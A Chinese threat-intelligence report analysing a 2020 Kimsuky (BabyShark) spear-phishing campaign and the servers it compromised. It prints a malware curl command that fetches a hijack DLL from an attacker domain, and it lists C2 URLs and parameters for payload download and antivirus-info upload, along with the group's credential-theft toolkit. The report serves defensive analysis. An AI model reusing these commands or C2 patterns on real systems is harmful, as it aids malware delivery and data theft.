Kimsuky组织(又名BabyShark、Thallium、Black Banshee等),最早由国外安全厂商Kaspersky在2013年披露,该组织长期针对于韩国的智囊团、政府外交、新闻媒体等组织机构进行攻击,主要目的为窃取情报、间谍活动等。
2020年12月期间,360高级威胁研究院在日常的监控中发现了一起该组织的鱼叉攻击活动,通过相关样本的关联溯源分析,我们又发现了与该组织攻击活动相关的一批失陷服务器,进而发现了Kimsuky组织的一系列网络攻击活动的线索,通过对该组织各种网络攻击程序、后门程序和测试样本的分析,我们发现了babyshark等该组织专属恶意软件的特征。通过相关攻击活动的分析,本报告将向业界展现Kimsuky组织更多的攻击者面貌。
1. 鱼叉攻击活动分析
此次鱼叉攻击使用的恶意宏文档,受害者启用文档的宏后,通过云端动态下发VBS脚本的方式实施攻击,因此极难获取攻击的完整样本。通过360安全大脑我们还原捕获到了Kimsuky组织的部分攻击样本和完整攻击流程。该组织的攻击行动具备以下特点:
-
使用version.dll、wtsapi32.dll和version_hwp.dll不同名称的DLL劫持库实施攻击
-
使用恶意的Normal.dotm替换 Office模版执行恶意宏代码[0]
-
通过OneDrive云盘和被黑网站放置恶意荷载,动态执行控制命令和恶意VBS脚本
其完整攻击流程如下:
1.1 version.dll
该程序会触发恶意代码执行使用curl下载tmp文件,解码tmp文件 到%UserProfile%AppDataLocalTemp 目录,随后将其重命名为version.dll。
通过version.dll的下载攻击行为特征,我们关联到一些历史攻击的诱饵文档,经过验证发现文档中宏代码暴露的链接已全部失效。
Download URL |
文件名 |
关联文档 |
https://assuredshippings.com/wp-admin/includes/1023k/c.php?op=dotm |
dgdgdf.tmp |
111.docx |
https://assuredshippings.com/wp-admin/includes/1023k/d.php?op=ver.gif |
version.dll |
111.docx |
https://assuredshippings.com/wp-admin/includes/1023c/d.php?op=ver.gif |
version.dll |
Microsoft Word Document.docx |
https://assuredshippings.com/wp-admin/includes/1023c/d.php?op=nd.gif |
Normal.dotm |
* strategic insights memo (1).doc |
wtsapi32.dll |
doc-src1.docm |
通过version.dll的攻击行为,我们在受害机器上关联发现了其他不同攻击批次的DLL劫持样本
MD5 |
文件名 |
导出库名 |
编译时间 |
2d9b478d3161eaea8060d38d0a2dc8f5 |
wtsapi32.dll |
version.dll |
2020-10-22 09:45:42 |
c2be3221ba6b7722d1e0941995c0ab3a |
version_hwp.dll |
version.dll |
2020-12-20 08:52:08 |
1.2 version_hwp.dll
该恶意程序会从Google云盘地址获取下载执行命令,如:
https://drive[.]google[.]com/file/d/1X4hJhlAjqVk7cChNSBt_SCrTi07LMVN7/view?usp=sharing
我们捕获到了其中一些下载文件执行命令,其通过Curl命令从另外的URL地址下载恶意的DLL劫持库
cmd.exe /c %windir%sysnativecurl -o "%temp%qazwsxe.tmp" https://newwebsearcher[.]com/winmm/winmmnew.php?op=step
程序在最后执行一段命令,目的是重启被劫持的应用程序,使之正常运行。这里可看出程序的意图并没有驻留,而是多次执行。
1.3 wtsapi32.dll
该程序内部硬编码了大量base64字符串,这些字符串属于两个VBS脚本。程序功能简单,base64解码这些字符串并执行。
第一个脚本被写入临时目录下的文件,以文件路径的形式出现在命令行,第二个脚本的代码直接以参数的形式出现在命令行。第一个脚本的功能是执行参数中的代码,第二个脚本的功能是从OneDrive网盘下载VBS代码解密执行。
URL |
响应 |
https://onedrive.live.com/authkey=%21AIW%5FrqLWyCK2Q3I&cid=D2BAA5608337CD50&id=D2BAA5608337CD50%21106&parId=root&o=OneUp |
失效 |
https://onedrive.live.com/?authkey=%21AA1TpZt2wbC2q34&cid=EA63197CF6E2BF62&id=EA63197CF6E2BF62%21137&parId=root&o=OneUp |
正常 |
https://onedrive.live.com/authkey=%21AEOvkavD-Cveo34&cid=FF254DB40FA2A3BA&id=FF254DB40FA2A3BA%21107&parId=root&o=OneUp |
失效 |
1.4 vbs脚本
version.dll劫持的程序会执行临时目录( %UserProfile%AppDataLocalTemp)的ctr.vbs脚本。
通过分析ctr.vbs使用的大段命令参数,我们推测该脚本的主要功能是解码并执行参数对应的混淆VBS代码,这与wtsapi32.dll的功能相似,由crt.vbs向OneDrive网盘地址发送请求,以接收文件代码并执行命令。
从进程行为分析我们发现了攻击者通过OneDrive动态执行的更多命令。如:建立计划任务,通过VBS脚本和命令参数从注册表中动态读取恶意代码执行。
如下载到的desktop.tmp脚本动态执行,相关的攻击会收集用户名,进程列表,特定目录下文件列表信息,这些信息经过certutil编码后上传到服务器。
另外,我们还观察到计划任务执行的powershell命令,代码检查的互斥锁是开源远控工具Quasar使用的互斥锁名称,疑似攻击者下载执行了不同的开源木马程序。
2. 失陷服务器追踪
我们通过360安全大脑对该组织鱼叉攻击活动中的恶意样本进行了全网遥测,意外的发现了一大批服务器中招,大部分失陷服务器上都出现了detect.vbs样本,这部分样本疑似是在攻击者通过远程桌面连接后的第一个部署的后门文件,其通过计划任务执行,功能是向指定站点发送请求,请求参数部分包含本机的IP地址。
这部分失陷服务器上出现了rdp扫描工具样本,相关服务器也都开放了3389端口,疑似该组织通过远程桌面服务的漏洞或弱口令入侵了服务器,其中部分服务器也使用了teamviewer软件,这可能是该组织的另一种入侵途径。
经过进一步的追踪,我们在失陷服务器上发现了大量的恶意测试样本和网络攻击工具包。
2.1 恶意文档测试样本
我们发现了一类测试恶意文档测试样本,文档文件名为doc-src.doc,文档本身带有密码,输入密码打开后会提示启用内容
恶意宏代码首先会获取本机安装的杀软信息,并发送到
http://okbus[.]or[.]kr/libs/phpmailer/his[.]php?op=AntiList(检测到的杀软) + "---doc_macro" 。
然后根据机器安装杀软的情况执行不同的策略。根据最终执行的文件发现其中几种执行策略功能基本相同,只是文件结构上的存在差异,根据文件结构可以分为两种策略。
执行策略流程简图
第一种策略:使用一系列脚本 最终通过httpxmu下载的 tskekhqo从https://newspeers[.]com/000/wjb/expres[.]php?op=2下载解密最终载荷 desktop.tmp。
名称 |
功能简述 |
stacer.vbs |
持久化并启动 nxtelexl.bat |
nxtelexl.bat |
启动templbs.vbs,并判断是否有hiscwpd,不存在的话则创建并写入a,执行 funwifuv、droxfnxr |
hiscwpd |
标志 |
templbs.vbs |
删除 stacer.vbs 启动 nxtelexl.bat |
funwifuv |
解码 |
droxfnxr |
判断hiscwpd 内容执行不同脚本, 下载文件 httpxmu |
httpxmu |
下载文件 tskekhqo |
tskekhqo |
下载执行desktop.tmp |
desktop.tmp |
收集计算机信息编码后发送 |
第二种策略:最终通过11.vbs 下载的tskekhqo 从 https://newspeers[.]com/000/wjb/expres[.]php?op=2下载解密最终载荷。
名称 |
功能简述 |
stacer.vbs |
启动templbs.vbs、 11.vbs、12.vbs |
templbs.vbs |
创建 11.vbs 、12.vbs |
11.vbs |
下载tskekhqo |
11.vbs |
解码执行tskekhqo |
tskekhqo |
下载执行 desktop.tmp |
desktop.tmp |
收集计算机信息编码后发送 |
两种方式 下载tskekhqo的前期文件一个是由httpxmu下载得到,一个是由templbs.vbs直接释放得到,其最终流程都是下载 desktop.tmp。
desktop.tmp功能为将 计算机的用户名、进程信息、目录信息进行编码后发送到服务器。
2.2 远程控制测试样本
我们还发现了一类远程控制类测试样本,其通过二次封装anydesk软件的恶意样本,其中一个文件的名称为change_with_anydesk_now.bat。
根据文件名称的意义,我们推测攻击者在获取远程控制后会使用anydesk作为后续的控制手段,也可能是攻击者在单纯地测试这种远程手段。
2.1.1 窗口隐藏
ieupsrv.exe |
G:414 taskImpersonateServiceImpersonateServiceReleaseImpersonateService.pdb |
ieupdate.exe |
G:414 taskhidewindows_completeany_exeany_exeReleaseany_exe.pdb |
2.2.2 Anydesk安装
功能 |
简述 |
install1.bat |
拷贝所需要的文件到 C:MSOPerfsCONEXANT,创建服务启动revival.exe |
revival.exe |
启动smss.bat |
smss.bat |
启动update.vbs |
update.vbs |
链接服务器,根据响应执行相应动作 |
通过对云盘链接的监控,我们还发现攻击者动态执行了添加用户的命令。
2.2.3 键盘记录
我们还发现了键盘记录和收集用户信息的工具样本,其中install.vbs根据操作系统位数执行不同版本的文件,最终执行ieCert.ps1 完成键盘记录保存为ttmp.log。完整攻击流程如下:
其利用schedule.xml创建的计划任务定期执行ieCert.vbs,将计算机信息以及键盘记录上传到服务器。
2.3 攻击工具包
在失陷服务器上我们还捕获到了一个压缩包,其中包含了该组织使用的多个安全工具,其中部分工具已出现在部分失陷服务器机器中。
文件名 |
功能 |
cloud.rar |
对应远程控制部分 |
infomation |
收集信息 |
KPortScan 3.0 |
端口扫描 |
Last.zip |
对应键盘记录部分 |
mimikatz.rar |
windows凭证窃取工具 |
Mstsc-2003.zip |
windows远程桌面(客户端程序) |
Narrator___.zip |
rdp attack |
safe |
|
win10_.zip |
|
win7_.zip |
|
1220.rar |
需要密码 |
Antivirus_1121.xlsx |
需要密码 |
Antivirus_scorpion.xlsx |
需要密码 |
chromecookiesview-1.90.zip |
谷歌浏览器COOKIES查看工具 |
ps.zip |
PsExec |
RDPWrap-v1.6.2.zip |
远程多用户登录工具 |
Utilman.zip |
Windows辅助工具管理器程序 |
webbrowserpassview-2.07.rar |
浏览器密码查看工具 |
WinNarrator.exe |
rdp attack |
2.4 其它发现
在失陷服务器的样本中还出现了挖矿勒索的攻击痕迹,“xmrig.exe”、“[email protected]”、“recover.txt”、“info.exe”等文件出现失陷服务器的文件系统中。目前没有发现这些攻击活动与Kimsuky有直接关联,疑似相关的失陷服务器存在大量的安全漏洞,有被不同的黑客入侵的历史。
3. 攻击关联分析
3.1 解密算法
3.2 URL参数
功能 |
参数 |
恶意文档下载version.dll |
http://xxx/d.php?op=ver.gif |
恶意文档下载Normal.dotm |
http://xxx/d.php?op=nd.gif |
恶意文档下载dgdgdf.tmp |
http://xxx/c.php?op=dotm |
响应ok |
http://xxx/winmmnew.php?op=yun |
响应ok |
http://xxx/winmmnew.php?op=step |
http://xxx/redir.php?op=display |
|
恶意文档上传杀软信息 |
http://xxx/his.php?op=[杀软信息] |
恶意文档下载desktop.tmp |
http://xxx/expres.php?op=2 |
http://xxx/cow.php?op=1 |
3.3 攻击手法
unit42关于babyshark的报告[3]
desktop.tmp中的代码
3.4 特定前后缀
恶意文档
命令执行
脚本文件
URL
本文始发于微信公众号(360威胁情报中心):Kimsuky组织网络攻击活动追溯分析报告
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论